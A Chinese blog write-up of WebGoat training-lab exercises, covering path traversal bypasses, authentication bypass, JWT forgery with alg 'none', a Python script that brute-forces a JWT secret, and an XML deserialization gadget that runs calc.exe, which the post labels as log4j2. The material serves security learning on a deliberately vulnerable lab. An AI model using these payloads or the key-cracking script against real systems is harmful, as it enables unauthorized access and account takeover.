安全基础~web攻防特性2

本文介绍了如何使用WebGoat靶场进行Web安全实验,包括漏洞利用(如GeneralInjection、PathTraversal和AuthenticationBypass),以及Node.js项目的安全注意事项,如处理XSS攻击、身份验证绕过和log4j2漏洞。还讨论了如何使用Burpsuite和开发者工具进行网络操作和代码分析。
摘要由CSDN通过智能技术生成

知识补充

Burpsuite Render在无法预览显示时,可以适当的清理缓存
win10下输入文字变成繁体解决

Javaweb安全之webGoat

webgoat靶场搭建

进行web漏洞实验的Java靶场程序,用来说明web应用中存在的安全漏洞。
下载文件(最新版本包含新的漏洞靶场):
https://github.com/WebGoat/WebGoat/releases/
https://github.com/WebGoat/WebGoat/releases/
执行命令,开启靶场:
java -jar webgoat-server-8.0.0.M17.jar [–server.port=8080] [–server.address=localhost]
java -jar webwolf-8.0.0.M17.jar

eg
访问链接:http://127.0.0.1:8080/WebGoat,自动跳转login界面,注册登录。

其中webgoat用于进行WEB漏洞测试和学习的JAVA应用程序,webwolf用于模拟攻击者,其中提供了许多辅助攻击者的工具
webgoat搭建成功

参考文章1
参考文章2

闯关

General

Basics HTTP基础

  1. 随便输入字符串,经过服务器就给你逆序,不过这个输入框是存在xss的
  2. 就是逆序输出
  3. 输入框让输入POST或GET命令,输入魔法数字,抓包
    test
    注 \color{red}{注} :这个数字是会变的,需要每次抓包观察

Proxies HTTP代理

  1. 将参数输入进去,进入bp,右键change method
    Change the Method to GET
    Add a header ‘x-request-intercepted:true’
    Remove the request body and instead send ‘changeMe’ as a query string parameter and set the value to ‘Requests are tampered easily’ (without the single quotes)
    Then let the request continue through (by hitting the play button).
    test

Developer Tools 开发者工具

  1. Using the console
    在concle中输入webgoat.customjs.phoneHome(),将随机数粘贴进输入框
    eg
    6. Working with the Network tab
    在http请求的请求字段中包含一个networkNum字段,将随机数复制上去
    eg
    注 \color{red}{注} :想到为什么会在payload中才能看到这串数字
    前后端联调之Form Data与Request Payload,具体解释说道:该字段的出现类型主要伴随着Content-type的出现而出现

Injection

Path traversal 路径遍历
攻击者可以在其中访问或存储外部的文件和目录 应用程序的位置
解决问题:部分目录不允许上传可执行文件,向上级目录上传
查看源码:将jar宝解压,用idea打开,寻找对应的jar,添加道路,对源码进行查看

  1. 要求上传到C:\Users\2han/.webgoat-2023.8/PathTraversal位置,经过抓包后发现,其上传位置包含了一个resign,所以要上传到其上一级目录。
    要求修改目标位置
    @ResponseBody
        public AttackResult uploadFileHandler(@RequestParam("uploadedFile") MultipartFile file, @RequestParam(value = "fullName",required = false) String fullName) {
            return super.execute(file, fullName);
        }
    
    test
    成功过关
    成功
  2. 对上次实验做了修复,需要相同的结果,结果如下
    eg1
    第一行post到服务器端POST /WebGoat/PathTraversal/profile-upload-fix HTTP/1.1,查找该文件,进行了单层过滤替代。
    @ResponseBody
    public AttackResult uploadFileHandler(@RequestParam("uploadedFileFix") MultipartFile file, @RequestParam(value = "fullNameFix",required = false) String fullName) {
        return super.execute(file, fullName != null ? fullName.replace("../", "") : "");
    }
    
    双写绕过
    eg2
  3. 一样是将文件上传到该位置,getOriginalFilename()得到上传时的文件名,所以从文件名入手。
    源码
    @ResponseBody
    public AttackResult uploadFileHandler(@RequestParam("uploadedFileRemoveUserInput") MultipartFile file) {
        return super.execute(file, file.getOriginalFilename());
    }
    
    test
  4. 一样的,直接看源码
    如果参数为null,或者不包含…或/,则进入下面的代码;
    获取id,有id则赋值,若没有id,则生成一个1~10的随机数作为id;
    catPicture是id后面加了.jpg;
    若出现path-traversal-secret.jpg参数,返回ok。

源码
开始尝试,当传入id=1,有返回
test1
尝试查找path-traversal-secret,当有…/时会出现非法字符提示,尝试使用反斜杠\仍旧无法绕过,使用%2e%2e%2f进行绕过

test1
test2
result

总结:
目录遍历双写…/绕过,双写绕过;
返回400,说明服务器后台并未对目录遍历攻击作任何限制,但是并没有请求到资源;
GET 请求参数中不允许存在…与/时,通过 url 编码绕过,%2e%2e%2f为. ./;
当服务器只允许获取当前格式的资源时,使用空白字符绕过,%20,%2a;
当使用post传参时,仅修改可变参数。

ldentity & Auth Failure

Authentication Bypasses 身份认证绕过
POST /WebGoat/auth-bypass/verify-account HTTP/1.1
根据第一行数据可查找后台代码

身份认证:
认证问题答案,很多选项:
你叫什么名字等等…只有两个问题(类似原来的qq密保类的东西)

接受键名和键值
s0=xiaodi&s1=湖北 正确
s3=null&s4=null发送数据
s3 s4为空,相当于NULL,那么就能进行绕过。
安全验证:
固定接受的数据:s0 s1判断你的数据 正常
不固定:s0 s1 正常
不固定:s2 s3不在数据库或者变量内,攻击者就能测试。
URL触发连接,访问地址:auth-bypass/verify-account

test

JWT tokens

解释

由三部分构成,以.分隔,出现在cookie上
滥用危害

The token is base64 encoded and consists of three parts:

1.header是base64编码后的头部信息    
	{'typ': 'JWT','alg': 'HS256'}    
	定义了声明token类型和签名算法alg   
2.payload是base编码的载荷部分,用来包含用户名,权限等数据    
	iss (issuer):签发人       
	sub (subject):主题   
	aud (audience):受众     
	exp (expiration time):过期时间   
	nbf (Not Before):生效时间,在此之前是无效的     
	iat (Issued At):签发时间  
	jti (JWT ID):编号    
	-定义一个payload:{
	"sub": "l3ife",
	"name": "l3ife",
	 "iat": 888888}
	 对其进行base64加密,得到jwt的第二部分
	eyJzdWIiOiJsM2lmZSIsIm5hbWUiOiJsM2lmZSIsImlhdCI6ODg4ODg4fQ
3.signature,把前两段的base密文通过﹐拼接起来,然后对其进行HS256加密,再然后对 hs256密文进行base64url加密,最终得到token的第三段。
HS256加密:
signature = HMACSHA256( base64UrlEncode(header) + "." +base64UrlEncode(payload), secret );
   
RS256加密:      
signature = RSASHA256(base64UrlEncode(header) + "." +base64UrlEncode(payload), publicKey, privateKey)

解密平台:https://jwt.io/

JWT创建过程
用户在成功对服务器进行身份验证时使用用户名和密码登录返回。服务器创建一个新令牌,并将此令牌返回给客户端。当客户端连续调用服务器,它将新令牌附加到“Authorization”标头中。 服务器读取令牌并首先验证签名,验证成功后,服务器使用令牌中用于标识用户的信息。

  1. 用户无法投票,只有成为管理员才可以投票,需要更改令牌成为管理员用户,成了管理员用户才可以重置投票
    展示
    bp1
    声明加密方法为HS512,第二部分声明用户名和权限,可以看到管理员权限为false
    将admin改为true,由于加密方法是HS512,且不知道秘钥,所以只能将alg的值改为none,即无加密方法。
    修改
    {
    “alg”: “none”
    }
    result1
    {
    “iat”: 1706459434,
    “admin”: “true”,
    “user”: “Tom”
    }
    result2
    11.  暴力破解便有可能将密钥解出。

    token:eyJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJXZWJHb2F0IFRva2VuIEJ1aWxkZXIiLCJhdWQiOiJ3ZWJnb2F0Lm9yZyIsImlhdCI6MTcwNTYwNDg5NiwiZXhwIjoxNzA1NjA0OTU2LCJzdWIiOiJ0b21Ad2ViZ29hdC5vcmciLCJ1c2VybmFtZSI6IlRvbSIsIkVtYWlsIjoidG9tQHdlYmdvYXQub3JnIiwiUm9sZSI6WyJNYW5hZ2VyIiwiUHJvamVjdCBBZG1pbmlzdHJhdG9yIl19.5aqiNb0jY1xvFycagd65E1eN0PsFhbgvhf8lBMXZTio

    结果
    暴力破解

    import jwt
    import termcolor
    if __name__ == "__main__":
        jwt_str = R'eyJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJXZWJHb2F0IFRva2VuIEJ1aWxkZXIiLCJhdWQiOiJ3ZWJnb2F0Lm9yZyIsImlhdCI6MTY0MTg5Njc3MiwiZXhwIjoxNjQxODk2ODMyLCJzdWIiOiJ0b21Ad2ViZ29hdC5vcmciLCJ1c2VybmFtZSI6IlRvbSIsIkVtYWlsIjoidG9tQHdlYmdvYXQub3JnIiwiUm9sZSI6WyJNYW5hZ2VyIiwiUHJvamVjdCBBZG1pbmlzdHJhdG9yIl19.ZaBAasksu_uUYloJwpaNwzRhpIaHNSSYxSANfmNZ1Rk'
        with open('top1000.txt') as f:
            for line in f:
                key_ = line.strip()
                try:
                    jwt.decode(jwt_str, algorithms=["HS256"],verify=True, key=key_)
                    print('\r', '\bbingo! found key -->', termcolor.colored(key_, 'green'), '<--')
                    break
                except (jwt.exceptions.ExpiredSignatureError, jwt.exceptions.InvalidAudienceError, jwt.exceptions.InvalidIssuedAtError, jwt.exceptions.InvalidIssuedAtError, jwt.exceptions.ImmatureSignatureError):
                    print('\r', '\bbingo! found key -->', termcolor.colored(key_, 'green'), '<--')
                    break
                except jwt.exceptions.InvalidSignatureError:
                    print('\r', ' ' * 64, '\r\btry', key_, end='', flush=True)
                    continue
            else:
                print('\r', '\bsorry! no key be found.')	# bingo! found key --> victory <--
    

    根据要求修改username为webgoat;将密钥填进去;修改一下exp的时间戳,只要比当前时间晚就好。

13.  之前的日志,找到一种方法去让tom花钱订购书,在日志中发现token
结果
抓结账的宝,修改jwt,exp为请求过期时间,加密方式使用none

result
参考链接
参考文章1
参考文章2

log4j2漏洞利用

<sorted-set>
 <string>foo</string>
 <dynamic-proxy>
 <interface>java.lang.Comparable</interface>
 <handler class="java.beans.EventHandler">
 <target class="java.lang.ProcessBuilder">
 <command>
 <string>calc.exe</string>
 </command>
 </target>
 <action>start</action>
 </handler>
 </dynamic-proxy>
</sorted-set>

JS项目&Node.JS框架安全

JavaScript语言可以通过其网站本身代码检查查看,等同于白盒测试
在Javascript中也存在变量和函数,存在可控变量及函数调用,即参数漏洞

判断是否为js代码开发的web应用
插件wappalyzer
源代码简短
引入多个js文件
一般有/static/js/app.js 等顺序的js文件
cookie中有connect.sid

如何获取更多的JS文件?

JsFinder
Packer-Fuzzer
扫描器后缀替换字典

快速获取价值代码?

method:"get"
http.get("
method:"post"
http.post("
$.ajax
service.httppost
service.httpget

参考文章

  • 14
    点赞
  • 20
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值